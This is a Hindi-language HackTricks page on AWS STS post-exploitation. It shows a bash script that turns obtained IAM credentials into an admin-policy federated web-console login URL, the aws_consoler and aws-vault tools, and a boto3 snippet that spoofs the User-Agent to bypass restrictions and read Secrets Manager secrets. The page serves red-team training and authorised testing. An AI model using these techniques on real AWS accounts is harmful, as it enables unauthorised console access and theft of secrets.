AWS - STS पोस्ट एक्सप्लॉइटेशन

Reading time: 4 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

STS

अधिक जानकारी के लिए:

AWS - IAM, Identity Center & SSO Enum

IAM क्रेडेंशियल्स से कंसोल तक

यदि आप कुछ IAM क्रेडेंशियल्स प्राप्त करने में सफल रहे हैं, तो आप वेब कंसोल तक पहुँचने में रुचि रख सकते हैं, निम्नलिखित उपकरणों का उपयोग करके।
ध्यान दें कि उपयोगकर्ता/भूमिका को sts:GetFederationToken अनुमति होनी चाहिए।

कस्टम स्क्रिप्ट

निम्नलिखित स्क्रिप्ट डिफ़ॉल्ट प्रोफ़ाइल और एक डिफ़ॉल्ट AWS स्थान (न तो gov और न ही cn) का उपयोग करेगी ताकि आपको एक साइन किया हुआ URL मिल सके जिसका उपयोग आप वेब कंसोल में लॉगिन करने के लिए कर सकते हैं:

bash
# Get federated creds (you must indicate a policy or they won't have any perms)
## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
## Don't forget to use [--profile <prof_name>] in the first line if you need to
output=$(aws sts get-federation-token --name consoler --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess)

if [ $? -ne 0 ]; then
echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status"
exit $status
fi

# Parse the output
session_id=$(echo $output | jq -r '.Credentials.AccessKeyId')
session_key=$(echo $output | jq -r '.Credentials.SecretAccessKey')
session_token=$(echo $output | jq -r '.Credentials.SessionToken')

# Construct the JSON credentials string
json_creds=$(echo -n "{\"sessionId\":\"$session_id\",\"sessionKey\":\"$session_key\",\"sessionToken\":\"$session_token\"}")

# Define the AWS federation endpoint
federation_endpoint="https://signin.aws.amazon.com/federation"

# Make the HTTP request to get the sign-in token
resp=$(curl -s "$federation_endpoint" \
--get \
--data-urlencode "Action=getSigninToken" \
--data-urlencode "SessionDuration=43200" \
--data-urlencode "Session=$json_creds"
)
signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)


# Give the URL to login
echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"

aws_consoler

आप एक वेब कंसोल लिंक उत्पन्न कर सकते हैं https://github.com/NetSPI/aws_consoler.

bash
cd /tmp
python3 -m venv env
source ./env/bin/activate
pip install aws-consoler
aws_consoler [params...] #This will generate a link to login into the console

warning

सुनिश्चित करें कि IAM उपयोगकर्ता के पास sts:GetFederationToken अनुमति है, या एक भूमिका प्रदान करें जिसे ग्रहण किया जा सके।

aws-vault

aws-vault एक उपकरण है जो विकास वातावरण में AWS क्रेडेंशियल्स को सुरक्षित रूप से संग्रहीत और एक्सेस करने के लिए है।

bash
aws-vault list
aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds
aws-vault login jonsmith # Open a browser logged as jonsmith

note

आप aws-vault का उपयोग करके ब्राउज़र कंसोल सत्र प्राप्त कर सकते हैं

Python से User-Agent प्रतिबंधों को बायपास करें

यदि उपयोगकर्ता एजेंट के आधार पर कुछ क्रियाएँ करने पर प्रतिबंध है (जैसे उपयोगकर्ता एजेंट के आधार पर python boto3 लाइब्रेरी के उपयोग को प्रतिबंधित करना) तो आप ब्राउज़र के माध्यम से वेब कंसोल से कनेक्ट करने के लिए पिछले तकनीक का उपयोग कर सकते हैं, या आप सीधे boto3 उपयोगकर्ता-एजेंट को संशोधित कर सकते हैं:

bash
# Shared by ex16x41
# Create a client
session = boto3.Session(profile_name="lab6")
client = session.client("secretsmanager", region_name="us-east-1")

# Change user agent of the client
client.meta.events.register( 'before-call.secretsmanager.GetSecretValue', lambda params, **kwargs: params['headers'].update({'User-Agent': 'my-custom-tool'}) )

# Perform the action
response = client.get_secret_value(SecretId="flag_secret") print(response['SecretString'])

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें